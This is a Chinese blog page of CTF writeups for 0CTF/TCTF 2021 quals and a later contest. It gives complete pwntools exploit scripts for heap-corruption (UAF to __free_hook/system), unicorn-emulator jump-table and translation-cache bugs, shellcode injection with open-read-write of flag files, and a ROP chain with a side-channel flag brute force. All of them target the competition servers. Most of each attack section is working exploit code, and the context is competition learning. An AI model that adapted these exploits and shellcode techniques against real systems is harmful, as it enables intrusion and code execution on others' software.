分类 writeups 下的文章

TCTF题目质量一如既往很高,而且uc(unicorn)系列挺好玩hhh 高校榜 ![TCTF_quals_2021.png][1]

Pwn

listbook

比较有意思而且不算难的堆利用

题目实现了简易的哈希表,同哈希idx的用单链表连接。

哈希值计算的时候abs8()使用不当,传值为0x80的时候返回idx为负数,下标溢出到vaild_list,造成idx0的enable位非0,造成严重的UAF

剩下就是慢慢地堆风水...

EXP:

from pwn import *

#p = process(["./listbook", "./libc-2.31.so"])
p = remote("111.186.58.249", 20001)
elf = ELF("./listbook")
libc = ELF("./libc-2.31.so")

context.log_level = "debug"

#base: 0x0000555555554000
#booklist: 0x0000555555554000+0x4840
#valid_list: 0x0000555555554000+0x4440

def add(name, content):
    p.sendlineafter(b">>", b"1")
    p.sendlineafter(b"name>", name)
    p.sendafter(b"content>", content)

def delete(idx:int):
    p.sendlineafter(b">>", b"2")   
    p.sendlineafter(b"index>", str(idx).encode())    

def show(idx:int):
    p.sendlineafter(b">>", b"3")
    p.sendlineafter(b"index>", str(idx).encode())   

def exp():
    # leak libc
    for i in range(7):
        add(b"\x01", b"AAAAAAAA\n") # fill tcache
    add(b"\x00", b"BBBBBBBB\n") # vuln: leak
    add(b"\x02", b"BBBBBBBB\n") # vuln: help
    for i in range(5):
        add(b"\x09\x01", b"KEEP\n") # keep
    for i in range(8):
        add(b"\x0b", b"KEEP\n") # keep
    add(b"\x0c", b"KEEP\n") # keep
    for i in range(2):
        add(b"\x0d", b"KEEP\n") # keep
    for i in range(7):
        add(b"\x0e", b"KEEP\n") # keep
    add(b"\x0f", b"CCCCCCCC\n") # split
    delete(1) # fill tcache
    delete(2) # break help chunk
    delete(0) # leak this Books' content

    add(b"\x80", b"AAAAAAAA\n") # enable idx:0
    show(0)
    p.recvuntil(b"=> ")
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - 608 - 0x10 - libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    system = libc_base + libc.symbols[b"system"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("free_hook:", hex(free_hook))
    print("system:", hex(system))

    # attack __free_hook
    ## fix small bin
    for i in range(7):
        add(b"\x03", b"FIX SMALL; CLEAN UNSORTED\n")
    delete(0)
    for i in range(3):
        add(b"\x03", b"CLEAN UNSORTED\n")
    delete(0xb)
    for i in range(7):
        add(b"\x03", b"CLEAN UNSORTED\n")
    add(b"\x04", b"UNSORTED IDX:4\n")
    add(b"\x00", b"UNSORTED IDX:0\n")
    add(b"\x05", b"UNSORTED IDX:5\n")
    add(b"\x06", b"UNSORTED SPLIT\n")
    delete(0xe)
    delete(4)
    delete(0)
    delete(5)
    for i in range(7):
        add(b"\x03", b"CLEAN TCACHE\n")
    add(b"\x06", b"OVERLAP\n")
    add(b"\x80", b"AAAAAAAA\n") # enable idx:0
    delete(0xa)
    delete(0)
    delete(6)
    # build fake chain
    add(b"\x07", b"X"*0x88+p64(210)+p64(free_hook)+b"\n")
    add(b"\x08", b"/bin/sh\n")
    add(b"\x09", p64(system)+b"\n")
    print("free_hook:", hex(free_hook))
    delete(8)

    p.interactive()

if __name__ == "__main__":
    exp()

uc_masteeer

capstone反汇编了一下:

disasm_main.txt

0x1000: sub     rsp, 0x20
0x1004: mov     word ptr [rsp + 0xe], 0
0x100b: lea     rbx, [rsp + 0xe]
0x1010: mov     qword ptr [rsp + 0x10], 0
0x1019: mov     qword ptr [rsp + 0x18], 0
0x1022: mov     ecx, 0x44
0x1027: lea     rdx, [rip + 0x18b]
0x102e: mov     esi, 1
0x1033: xor     eax, eax
0x1035: mov     edi, 1
0x103a: call    0x11fd
0x103f: mov     ecx, 2
0x1044: mov     rdx, rbx
0x1047: xor     esi, esi
0x1049: xor     edi, edi
0x104b: xor     eax, eax
0x104d: call    0x11fd
0x1052: mov     al, byte ptr [rsp + 0xe]
0x1056: cmp     al, 0x32
0x1058: je      0x1093
0x105a: cmp     al, 0x33
0x105c: je      0x10c0
0x105e: cmp     al, 0x31
0x1060: jne     0x116a
0x1066: mov     ecx, 0x12
0x106b: lea     rdx, [rip + 0x135]
0x1072: mov     esi, 1
0x1077: xor     eax, eax
0x1079: mov     edi, 1
0x107e: call    0x11fd
0x1083: add     rsp, 0x20
0x1087: movabs  rdi, 0xbabecafe000
0x1091: jmp     qword ptr [rdi]
0x1093: mov     ecx, 0x12
0x1098: lea     rdx, [rip + 0xf6]
0x109f: mov     esi, 1
0x10a4: xor     eax, eax
0x10a6: mov     edi, 1
0x10ab: call    0x11fd
0x10b0: add     rsp, 0x20
0x10b4: movabs  rdi, 0xbabecafe000
0x10be: jmp     qword ptr [rdi]
0x10c0: mov     ecx, 7
0x10c5: lea     rdx, [rip + 0xc2]
0x10cc: mov     esi, 1
0x10d1: xor     eax, eax
0x10d3: mov     edi, 1
0x10d8: call    0x11fd
0x10dd: xor     esi, esi
0x10df: xor     edi, edi
0x10e1: lea     rdx, [rsp + 0x10]
0x10e6: mov     ecx, 8
0x10eb: xor     eax, eax
0x10ed: call    0x11fd
0x10f2: mov     ecx, 7
0x10f7: mov     esi, 1
0x10fc: xor     eax, eax
0x10fe: lea     rdx, [rip + 0x82]
0x1105: mov     edi, 1
0x110a: call    0x11fd
0x110f: xor     esi, esi
0x1111: xor     edi, edi
0x1113: xor     eax, eax
0x1115: lea     rdx, [rsp + 0x18]
0x111a: mov     ecx, 8
0x111f: call    0x11fd
0x1124: cmp     qword ptr [rsp + 0x18], 0xff
0x112d: ja      0x1022
0x1133: mov     ecx, 7
0x1138: lea     rdx, [rip + 0x41]
0x113f: mov     esi, 1
0x1144: xor     eax, eax
0x1146: mov     edi, 1
0x114b: call    0x11fd
0x1150: mov     rcx, qword ptr [rsp + 0x18]
0x1155: xor     esi, esi
0x1157: xor     edi, edi
0x1159: mov     rdx, qword ptr [rsp + 0x10]
0x115e: xor     eax, eax
0x1160: call    0x11fd
0x1165: jmp     0x1022
0x116a: mov     esi, 0xff
0x116f: mov     edi, 0x3c
0x1174: xor     eax, eax
0x1176: call    0x11fd
0x117b: jmp     0x1022

disasm_tail.txt

0x1000: xor     eax, eax
0x1002: mov     ecx, 0x32
0x1007: lea     rdx, [rip + 0x55]
0x100e: mov     esi, 1
0x1013: mov     edi, 1
0x1018: sub     rsp, 0x18
0x101c: mov     word ptr [rsp + 0xe], ax
0x1021: xor     eax, eax
0x1023: call    0x1095
0x1028: xor     esi, esi
0x102a: xor     edi, edi
0x102c: xor     eax, eax
0x102e: lea     rdx, [rsp + 0xe]
0x1033: mov     ecx, 2
0x1038: call    0x1095
0x103d: cmp     byte ptr [rsp + 0xe], 0x79
0x1042: jne     0x1055
0x1044: add     rsp, 0x18
0x1048: movabs  rdi, 0xbabecafe000
0x1052: jmp     qword ptr [rdi + 0x10]
0x1055: xor     esi, esi
0x1057: mov     edi, 0x3c
0x105c: xor     eax, eax
0x105e: call    0x1095
0x1063: outsd   dx, dword ptr [rsi]
0x1065: outsb   dx, byte ptr [rsi]
0x1066: jb      0x10ca
0x1069: je      0x10e0
0x106b: insb    byte ptr [rdi], dx

disasm_admin.txt

0x1000: mov     ecx, 0x10
0x1005: lea     rdx, [rip + 0x37]
0x100c: xor     eax, eax
0x100e: mov     esi, 1
0x1013: mov     edi, 1
0x1018: sub     rsp, 8
0x101c: call    0x1080
0x1021: lea     rax, [rip + 0x2b]
0x1028: movabs  qword ptr [0xbabecafe233], rax
0x1032: add     rsp, 8
0x1036: movabs  rdi, 0xbabecafe000
0x1040: jmp     qword ptr [rdi + 8]
0x1043: insd    dword ptr [rdi], dx

可以发现跳转表没做保护

  1. 修改跳转表中跳到ADMIN的表项,拿到admin权限后跳回菜单

  2. 再恢复表项,同时把CODE部分残留的ADMIN shellcode中,命令参数给改成k33nlab/readflag\x00

  3. user_test拿flag

from pwn import *

#p = process(["python3", "./uc_masteeer.py"])
p = remote("111.186.59.29", 10087)
context.log_level = "debug"
context.arch = "amd64"

CODE = 0xdeadbeef000
STACK = 0xbabecafe000

def admin_test():
    p.recvuntil(b"?: ")
    p.sendline(b"1")

def user_test():
    p.recvuntil(b"?: ")
    p.sendline(b"2")

def patch_data(target, size, data):
    p.recvuntil(b"?: ")
    p.sendline(b"3")
    p.sendafter(b"addr: ", p64(target))
    p.sendafter(b"size: ", p64(size))
    p.sendafter(b"data: ", data)

def exp():
    p.send(b"\x90")

    patch_data(STACK, 8, p64(CODE))
    admin_test()
    patch_data(STACK, 8, p64(CODE+0x1000))

    cmd = b"k33nlab"
    cmd += b"/readflag\x00"
    patch_data(CODE+0x1000+0x53, len(cmd), cmd)

    user_test()

    p.interactive()

if __name__ == "__main__":
    exp()

uc_goood

参照r3kapig的思路复现了一下,过程看原wp就行:https://r3kapig.com/writeup/20210706-0ctf-quals/#uc_goood 然而官方真正的预期解是一个逻辑bug(牛逼):https://gist.github.com/0xKira/e865709fc47c328ffd6fac3da9d36f44 预期解的大致思路是:通过lock使得一个basic block跨越三个页,然后中间那个页的写不会更新到tb cache里面,于是下次取tb cache执行的时候,中间那个页就还是执行原先的代码。

  1. 非预期exp:

test.py

from pwn import *
from capstone import *

CODE = 0xdeadbeef000
STACK = 0xbabecafe000
admin_offset = CODE + 0x6b - 5

md = Cs(CS_ARCH_X86, CS_MODE_64)
md.detail = True

ADMIN = b'\xb9\x10\x00\x00\x00\x48\x8d\x15\x37\x00\x00\x00\x31\xc0\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x08\xe8\x5f\x00\x00\x00\x48\x8d\x05\x2b\x00\x00\x00\x48\xa3\x33\xe2\xaf\xec\xab\x0b\x00\x00\x48\x83\xc4\x08\x48\xbf\x00\xf8\xee\xdb\xea\x0d\x00\x00\xff\x67\x08\x49\x6d\x61\x67\x69\x6e\x61\x74\x69\x6f\x6e\x20\x69\x73\x20\x00\x6b\x33\x33\x6e\x6c\x61\x62\x65\x63\x68\x6f\x20\x27\x6d\x6f\x72\x65\x20\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x20\x74\x68\x61\x6e\x20\x6b\x6e\x6f\x77\x6c\x65\x64\x67\x65\x2e\x27\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'.ljust(0x1000, b'\xf4')
print("length of ADMIN => ", len(ADMIN))

# 0xdeadbeef067:    adc    al, byte ptr [rax]
# 0xdeadbeef069:    add    byte ptr [rax], al
# 0x2d pushfq
# !!!!!!!!!!!!!!!!!!!!!!!!!!
offset = 0x9a
# !!!!!!!!!!!!!!!!!!!!!!!!!!
rax = 0xdeadbef0000 + offset

al = ((rax&0xff) + ADMIN[offset])&0xff
print(hex(al), hex(ADMIN[offset]))

rax2 = (0xdeadbef0000 & 0xfffffffff00)+al
print(hex(rax2))

if rax2 > (0xdeadbef0000+0x32):
    if rax2 not in range(0xdeadbef0000+0x80, 0xdeadbef0000+0x9b):
        print("-----nonono-----")
        exit()

tmp = bytearray(ADMIN)
tmp[rax2-0xdeadbef0000] = (tmp[rax2-0xdeadbef0000]+al)&0xff
ADMIN = bytes(tmp)
#print(al, ADMIN[offset])


print("---------- ADMIN CODE ----------")
for i in md.disasm(ADMIN[:0x45], CODE+0x1000):
    print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

print()
for i in md.disasm(ADMIN[0x80:0x9a], CODE+0x1000+0x80):
    print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

print(hex(rax2))

exp.py

from pwn import *


#p = remote("111.186.59.29", 10088)
#context.log_level = "debug"
context.arch = "amd64"

CODE = 0xdeadbeef000
STACK = 0xbabecafe000

# uc.mem_write(CODE + 0x800, p64(CODE + 0xff0) + p64(CODE + 0x2000) + p64(CODE)) 

def admin_test():
    p.recvuntil(b"?: ")
    p.sendline(b"1")

def user_test():
    p.recvuntil(b"?: ")
    p.sendline(b"2")

def patch_data(target, size, data):
    p.recvuntil(b"?: ")
    p.sendline(b"3")
    p.sendafter(b"addr: ", p64(target))
    p.sendafter(b"size: ", p64(size))
    p.sendafter(b"data: ", data)

def exp():
    global p
    #p = process(["python3", "./uc_goood.py"])
    p = remote("111.186.59.29", 10088)
    shellcode = '''
    mov rax, 0x68732f6e6962;
    push rax;
    mov rax, 0x2f62616c6e33336b;
    push rax;
    mov r8, rsp;
    mov r9, 0xbabecafe1e6;

    sub rsp, 0x135;

    mov rax, 0xdeadbef009a;
    mov rbx, 0xdeadbeef067;
    jmp rbx;
    '''
    p.send(asm(shellcode).ljust(0x1000 - 0xd, b"\xf4"))
    user_test()

    p.interactive()



# flag{Hope_you_enjoyed_the_series}
if __name__ == "__main__":
    exp()
  1. 预期解exp:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import remote, p64

p = remote('111.186.59.29', 10088)

'''
push 0
mov rax, 0x67616c6664616572
push rax
mov rax, 0x2f62616c6e33336b
push rax
mov rsi, 0xbabecafe233
mov [rsi], rsp
'''
# These shellcode will be executed under admin context
payload = b'\x6a\x00\x48\xb8\x72\x65\x61\x64\x66\x6c\x61\x67\x50\x48\xb8\x6b\x33\x33\x6e\x6c\x61\x62\x2f\x50\x48\xbe\x33\xe2\xaf\xec\xab\x0b\x00\x00\x48\x89\x26'
payload = payload.ljust(0x1000 - 0xd, b'\xf0')

p.send(payload)
p.sendlineafter('?: ', '3')
p.sendafter('addr: ', p64(0xdeadbef1000 - 0xd))
p.sendafter('size: ', p64(0xd))
p.sendafter('data: ', b'\xf0' * 0xd)
p.sendlineafter('?: ', '2')
p.sendlineafter('(y/[n])', 'y')
p.sendlineafter('?: ', '1')
p.interactive()

Misc

uc_baaaby

这个方法打本地一次过但是打远程有几率性,不清楚为什么

题目限制主要是三点:

  1. 需要用x86汇编完成指定地址md5计算

  2. 不能有超过一个基本块(除了入口)

  3. 取指次数小于0x233次

第一个问题可以从网上找个fastmd5来魔改,编译成位置无关代码后提取出来主要部分作为shellcode 关于上面第二个问题通过展开循环和内联函数来解决 第三个问题通过构造12字节长指令add qword ptr es:[rax+rcx+0x100], 0x1000,并在前缀pad一定数量的\xF0(lock)来爆破直到最终步数小于等于0x233 fast_x8664_md5.c

/* 
 * MD5 hash in C and x86 assembly
 * 
 * Copyright (c) 2021 Project Nayuki. (MIT License)
 * https://www.nayuki.io/page/fast-md5-hash-implementation-in-x86-assembly
 * 
 * Permission is hereby granted, free of charge, to any person obtaining a copy of
 * this software and associated documentation files (the "Software"), to deal in
 * the Software without restriction, including without limitation the rights to
 * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
 * the Software, and to permit persons to whom the Software is furnished to do so,
 * subject to the following conditions:
 * - The above copyright notice and this permission notice shall be included in
 *   all copies or substantial portions of the Software.
 * - The Software is provided "as is", without warranty of any kind, express or
 *   implied, including but not limited to the warranties of merchantability,
 *   fitness for a particular purpose and noninfringement. In no event shall the
 *   authors or copyright holders be liable for any claim, damages or other
 *   liability, whether in an action of contract, tort or otherwise, arising from,
 *   out of or in connection with the Software or the use or other dealings in the
 *   Software.
 */

#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include<unistd.h>
#include<sys/mman.h>

#define CODE 0xdeadbeef000LL
#define DATA 0xbabecafe000LL

/* Function prototypes */

#define BLOCK_LEN 64  // In bytes
#define STATE_LEN 4  // In words

static bool self_check(void);
void md5_hash(const uint8_t message[], size_t len, uint32_t hash[static STATE_LEN]);

// Link this program with an external C or x86 compression function
// extern inline void md5_compress(uint32_t state[static STATE_LEN], const uint8_t block[static BLOCK_LEN]);
__inline__ __attribute__((always_inline)) void md5_compress(uint32_t state[static 4], const uint8_t block[static 64]);
//void md5_compress(uint32_t state[static 4], const uint8_t block[static 64]);

/* Main program */

int main(void) {
    //char *code = mmap(CODE, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
    //char *data = mmap(DATA, 0x3000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
    //((uint8_t *)(0xdeadbeef000LL))[0] = 1;

    uint8_t *message = (uint8_t *)DATA;
    uint32_t *hash = (uint8_t *)DATA+0x800LL;

    //memset(message, 0, 0x800);
    //memset(hash, 0, 0x10);

    //for(int i = 0 ; i < 50;i++){
    //    message[i] = 'A';
    //}

    //int len = 50;

    hash[0] = UINT32_C(0x67452301);
    hash[1] = UINT32_C(0xEFCDAB89);
    hash[2] = UINT32_C(0x98BADCFE);
    hash[3] = UINT32_C(0x10325476);

    #define LENGTH_SIZE 8  // In bytes

    /*
    size_t off;
    for (off = 0; len - off >= BLOCK_LEN; off += BLOCK_LEN)
        md5_compress(hash, &message[off]);
    */

    //uint8_t block[BLOCK_LEN] = {0};
    //size_t rem = len - off;
    //size_t rem = len;

    //memcpy(block, &message[0], 50);
    message[50] = 0x80;
    //rem++;

    message[56] = (uint8_t)(0x90U);
    /*
    for (int i = 1; i < LENGTH_SIZE; i++, len >>= 8)
        block[BLOCK_LEN - LENGTH_SIZE + i] = (uint8_t)(len & 0xFFU);
    */
    message[57] = (uint8_t)(1U);
    /*
    len >>= 8;
    block[BLOCK_LEN - LENGTH_SIZE + 2] = (uint8_t)(len & 0xFFU);
    len >>= 8;
    block[BLOCK_LEN - LENGTH_SIZE + 3] = (uint8_t)(len & 0xFFU);
    len >>= 8;
    block[BLOCK_LEN - LENGTH_SIZE + 4] = (uint8_t)(len & 0xFFU);
    len >>= 8;
    block[BLOCK_LEN - LENGTH_SIZE + 5] = (uint8_t)(len & 0xFFU);
    len >>= 8;
    block[BLOCK_LEN - LENGTH_SIZE + 6] = (uint8_t)(len & 0xFFU);
    len >>= 8;
    block[BLOCK_LEN - LENGTH_SIZE + 7] = (uint8_t)(len & 0xFFU);
    */


    md5_compress(hash, message);

    //for(int i = 0 ; i < 16;i++){
    //    printf("%x " , ((uint8_t *)hash)[i]);
    //}

    return 0;
}

void md5_compress(uint32_t state[static 4], const uint8_t block[static 64]) {
    #define LOADSCHEDULE(i)  \
        schedule[i] = (uint32_t)block[i * 4 + 0] <<  0  \
                    | (uint32_t)block[i * 4 + 1] <<  8  \
                    | (uint32_t)block[i * 4 + 2] << 16  \
                    | (uint32_t)block[i * 4 + 3] << 24;

    uint32_t schedule[16];
    LOADSCHEDULE( 0)
    LOADSCHEDULE( 1)
    LOADSCHEDULE( 2)
    LOADSCHEDULE( 3)
    LOADSCHEDULE( 4)
    LOADSCHEDULE( 5)
    LOADSCHEDULE( 6)
    LOADSCHEDULE( 7)
    LOADSCHEDULE( 8)
    LOADSCHEDULE( 9)
    LOADSCHEDULE(10)
    LOADSCHEDULE(11)
    LOADSCHEDULE(12)
    LOADSCHEDULE(13)
    LOADSCHEDULE(14)
    LOADSCHEDULE(15)

    #define ROTL32(x, n)  (((0U + (x)) << (n)) | ((x) >> (32 - (n))))  // Assumes that x is uint32_t and 0 < n < 32
    #define ROUND0(a, b, c, d, k, s, t)  ROUND_TAIL(a, b, d ^ (b & (c ^ d)), k, s, t)
    #define ROUND1(a, b, c, d, k, s, t)  ROUND_TAIL(a, b, c ^ (d & (b ^ c)), k, s, t)
    #define ROUND2(a, b, c, d, k, s, t)  ROUND_TAIL(a, b, b ^ c ^ d        , k, s, t)
    #define ROUND3(a, b, c, d, k, s, t)  ROUND_TAIL(a, b, c ^ (b | ~d)     , k, s, t)
    #define ROUND_TAIL(a, b, expr, k, s, t)    \
        a = 0U + a + (expr) + UINT32_C(t) + schedule[k];  \
        a = 0U + b + ROTL32(a, s);

    uint32_t a = state[0];
    uint32_t b = state[1];
    uint32_t c = state[2];
    uint32_t d = state[3];

    ROUND0(a, b, c, d,  0,  7, 0xD76AA478)
    ROUND0(d, a, b, c,  1, 12, 0xE8C7B756)
    ROUND0(c, d, a, b,  2, 17, 0x242070DB)
    ROUND0(b, c, d, a,  3, 22, 0xC1BDCEEE)
    ROUND0(a, b, c, d,  4,  7, 0xF57C0FAF)
    ROUND0(d, a, b, c,  5, 12, 0x4787C62A)
    ROUND0(c, d, a, b,  6, 17, 0xA8304613)
    ROUND0(b, c, d, a,  7, 22, 0xFD469501)
    ROUND0(a, b, c, d,  8,  7, 0x698098D8)
    ROUND0(d, a, b, c,  9, 12, 0x8B44F7AF)
    ROUND0(c, d, a, b, 10, 17, 0xFFFF5BB1)
    ROUND0(b, c, d, a, 11, 22, 0x895CD7BE)
    ROUND0(a, b, c, d, 12,  7, 0x6B901122)
    ROUND0(d, a, b, c, 13, 12, 0xFD987193)
    ROUND0(c, d, a, b, 14, 17, 0xA679438E)
    ROUND0(b, c, d, a, 15, 22, 0x49B40821)
    ROUND1(a, b, c, d,  1,  5, 0xF61E2562)
    ROUND1(d, a, b, c,  6,  9, 0xC040B340)
    ROUND1(c, d, a, b, 11, 14, 0x265E5A51)
    ROUND1(b, c, d, a,  0, 20, 0xE9B6C7AA)
    ROUND1(a, b, c, d,  5,  5, 0xD62F105D)
    ROUND1(d, a, b, c, 10,  9, 0x02441453)
    ROUND1(c, d, a, b, 15, 14, 0xD8A1E681)
    ROUND1(b, c, d, a,  4, 20, 0xE7D3FBC8)
    ROUND1(a, b, c, d,  9,  5, 0x21E1CDE6)
    ROUND1(d, a, b, c, 14,  9, 0xC33707D6)
    ROUND1(c, d, a, b,  3, 14, 0xF4D50D87)
    ROUND1(b, c, d, a,  8, 20, 0x455A14ED)
    ROUND1(a, b, c, d, 13,  5, 0xA9E3E905)
    ROUND1(d, a, b, c,  2,  9, 0xFCEFA3F8)
    ROUND1(c, d, a, b,  7, 14, 0x676F02D9)
    ROUND1(b, c, d, a, 12, 20, 0x8D2A4C8A)
    ROUND2(a, b, c, d,  5,  4, 0xFFFA3942)
    ROUND2(d, a, b, c,  8, 11, 0x8771F681)
    ROUND2(c, d, a, b, 11, 16, 0x6D9D6122)
    ROUND2(b, c, d, a, 14, 23, 0xFDE5380C)
    ROUND2(a, b, c, d,  1,  4, 0xA4BEEA44)
    ROUND2(d, a, b, c,  4, 11, 0x4BDECFA9)
    ROUND2(c, d, a, b,  7, 16, 0xF6BB4B60)
    ROUND2(b, c, d, a, 10, 23, 0xBEBFBC70)
    ROUND2(a, b, c, d, 13,  4, 0x289B7EC6)
    ROUND2(d, a, b, c,  0, 11, 0xEAA127FA)
    ROUND2(c, d, a, b,  3, 16, 0xD4EF3085)
    ROUND2(b, c, d, a,  6, 23, 0x04881D05)
    ROUND2(a, b, c, d,  9,  4, 0xD9D4D039)
    ROUND2(d, a, b, c, 12, 11, 0xE6DB99E5)
    ROUND2(c, d, a, b, 15, 16, 0x1FA27CF8)
    ROUND2(b, c, d, a,  2, 23, 0xC4AC5665)
    ROUND3(a, b, c, d,  0,  6, 0xF4292244)
    ROUND3(d, a, b, c,  7, 10, 0x432AFF97)
    ROUND3(c, d, a, b, 14, 15, 0xAB9423A7)
    ROUND3(b, c, d, a,  5, 21, 0xFC93A039)
    ROUND3(a, b, c, d, 12,  6, 0x655B59C3)
    ROUND3(d, a, b, c,  3, 10, 0x8F0CCC92)
    ROUND3(c, d, a, b, 10, 15, 0xFFEFF47D)
    ROUND3(b, c, d, a,  1, 21, 0x85845DD1)
    ROUND3(a, b, c, d,  8,  6, 0x6FA87E4F)
    ROUND3(d, a, b, c, 15, 10, 0xFE2CE6E0)
    ROUND3(c, d, a, b,  6, 15, 0xA3014314)
    ROUND3(b, c, d, a, 13, 21, 0x4E0811A1)
    ROUND3(a, b, c, d,  4,  6, 0xF7537E82)
    ROUND3(d, a, b, c, 11, 10, 0xBD3AF235)
    ROUND3(c, d, a, b,  2, 15, 0x2AD7D2BB)
    ROUND3(b, c, d, a,  9, 21, 0xEB86D391)

    state[0] = 0U + state[0] + a;
    state[1] = 0U + state[1] + b;
    state[2] = 0U + state[2] + c;
    state[3] = 0U + state[3] + d;
}
exploit.py
from pwn import *
import time

elf = ELF("./vuln")
#context.log_level = "debug"
context.arch = "amd64"

CODE = 0xdeadbeef000
DATA = 0xbabecafe000

def exp():
    global p
    for i in range(1, 0x2000):
        print("---------------------------curr", i)
        p = remote("111.186.59.29", 10086)
        #p = process(["python3","./uc_baaaby.py"])

        code = b""
        with open("./vuln2", "rb") as f:
            data = f.read()
            code = data[0x1044:0x16d0]
        print("Main code size:", hex(0x16d0-0x1044))
        payload = asm('''
            mov rbp, 0xbabecafefff;
            mov rsp, rbp;
        ''')
        print("Padding Size:", hex(len(payload)))
        payload += code
        payload += asm("mov rax, 0xbabecafe000;mov rcx, 0;")
        padding_num = 1609
        payload += (b"\xF0"*padding_num+b"\x26\x48\x81\x84\x08\x00\x01\x00\x00\x10\x00\x00")*((0x2000-len(payload))//(12+padding_num))
        payload = payload.ljust(0x2000, asm("nop"))


        p.send(payload)
        print("Payload size:", hex(len(payload)))
        #p.interactive()
        try:
            p.recvuntil(b"You took ")
            _time = int(p.recvuntil(b" ", drop=True).decode())
        except:
            p.close()
            continue
        print("Time used: ", hex(_time))
        if _time<=0x233:
            pause()
        p.close()
        time.sleep(0.2)

if __name__ == "__main__":
    exp()
[1]: https://eqqie.cn/usr/uploads/2021/12/724434718.png

线上赛撞了四六级麻了hhh

ban完一堆队伍之后喜提线下hhh

orw

堆有rwx权限,下标溢出写got函数为堆地址,在两个堆块上拼接shellcode调用read读入shellcode进行orw拿flag

from pwn import *

#p = process("./pwn", env={"LD_PRELOAD":"./libc-2.23.so ./libseccomp.so.0"})
p = remote("39.105.131.68", 12354)
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")

def add(idx:int, size:int, content):
    p.sendlineafter(b"choice >>\n", b"1")
    p.sendlineafter(b"index:\n", str(idx).encode())
    p.sendlineafter(b"size:\n", str(size).encode())
    p.sendafter(b"content:\n", content)

def delete(idx:int):
    p.sendlineafter(b"choice >>\n", b"4")
    p.sendlineafter(b"index:\n", str(idx).encode())

def exp():
    #gdb.attach(p, "b *0x0000555555554000+0xFE7\nc\n")

    offset = (0x0000555555554000+0x2020E0 - 0x555555756018)//8
    print("offset:", hex(offset))
    shellcode_1 = '''
    mov rsi, rdi;
    xor rax, rax;
    jmp $+0x1a;
    '''
    shellcode_1 = asm(shellcode_1)
    shellcode_2 = '''
    xor rdi, rdi;
    mov edx, ecx;
    syscall;
    '''
    shellcode_2 = asm(shellcode_2) 
    print("len(shellcode_1):", hex(len(shellcode_1)))
    print(shellcode_1)
    print("len(shellcode_2):", hex(len(shellcode_2)))
    print(shellcode_2)
    add(-offset, 8, shellcode_1)
    add(0, 8, shellcode_2.ljust(8, b"\x90"))
    delete(0)

    orw = '''
    push 0;
    push 0x67616c66;
    mov rdi, rsp;
    mov rsi, 0;
    mov rax, 2;
    syscall;
    mov rdi, rax;
    mov rsi, rsp;
    mov rdx, 0xff;
    mov rax, 0;
    syscall;
    mov rdi, 0;
    mov rsi, rsp;
    mov rdx, 0xff;
    mov rax, 1;
    syscall;
    '''

    p.send(b"\x90"*0x10+asm(orw))

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

no_output

这是个非预期解法,通过MIN_INT/-1触发异常handler实现栈溢出,构造ROP链借助check函数来侧信道爆破flag

from pwn import *
import time

elf = ELF("./test")
#context.log_level = "debug"
context.arch = "i386"

elf_open = elf.plt[b"open"]
elf_read = elf.plt[b"read"]
bss_secret = 0x804C034
flag_name = 0x804A0D3
bss_name = 0x804C060

table = b"abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890{}-_@$&*!?."

final_flag = b""

def exp(guess, c_idx):
    global final_flag
    global p
    #p = process("./test")
    p = remote("39.105.138.97", 1234)

    # tell me some thing
    p.send(b"a"*0x30)
    # Tell me your name:\n
    p.send((b"\x00"*8 + b"f" + b"\x00").ljust(0x20, b"b"))
    # now give you the flag\n
    # xxxx
    # give me the soul:
    p.sendline(b"-2147483648")
    # give me the egg:
    p.sendline(b"-1")

    # handler stkof
    #gdb.attach(p,"b *0x8049385\nc\n")

    offset = 0x48 # to ebp
    pop_edi_ebp_ret = 0x08049582
    pop_esi_edi_ebp_ret = 0x08049581
    pop_ebx_esi_edi_ebp_ret = 0x08049580
    payload1 = b"a"*offset + p32(0xdeadbeef)
    payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(bss_name+0x20) + p32(5) # read(0, input_byte, 0x2) 
    payload1 += p32(elf_open) + p32(pop_edi_ebp_ret) + p32(bss_name+0x20) + p32(0)  # open(flag_name, 0)
    payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(4) + p32(bss_secret) + p32(0xff) # read(fd, secret, 0xff)
    payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(bss_name) + p32(2) # read(0, input_byte, 0x2) 
    payload1 += p32(0x80494d6) + p32(bss_secret+c_idx) + p32(bss_name) # control check_flag()
    p.send(payload1.ljust(0x100, b"\x00"))
    #time.sleep(0.5)
    p.send(b"flag\x00")
    p.send(guess + b"\x00")

    try:
        p.recv(timeout=1)
        final_flag += guess
        print("Curr flag:", final_flag)
        #pause()
        p.close()
        return True
    except:
        #print("Incorrect:", guess)
        print("Curr flag:", final_flag)
        p.close()
        return False


if __name__ == "__main__":
    for i in range(20, 40):
        print("Round: ", i)
        for c in table:
            if exp(bytes([c]), i):
                break
    print("Curr flag:", final_flag)

#qwb{n0_1nput_1s_great!!!}

shellcode

模式切换shellcode,字符范围限制: (0x1f, 0x7f)

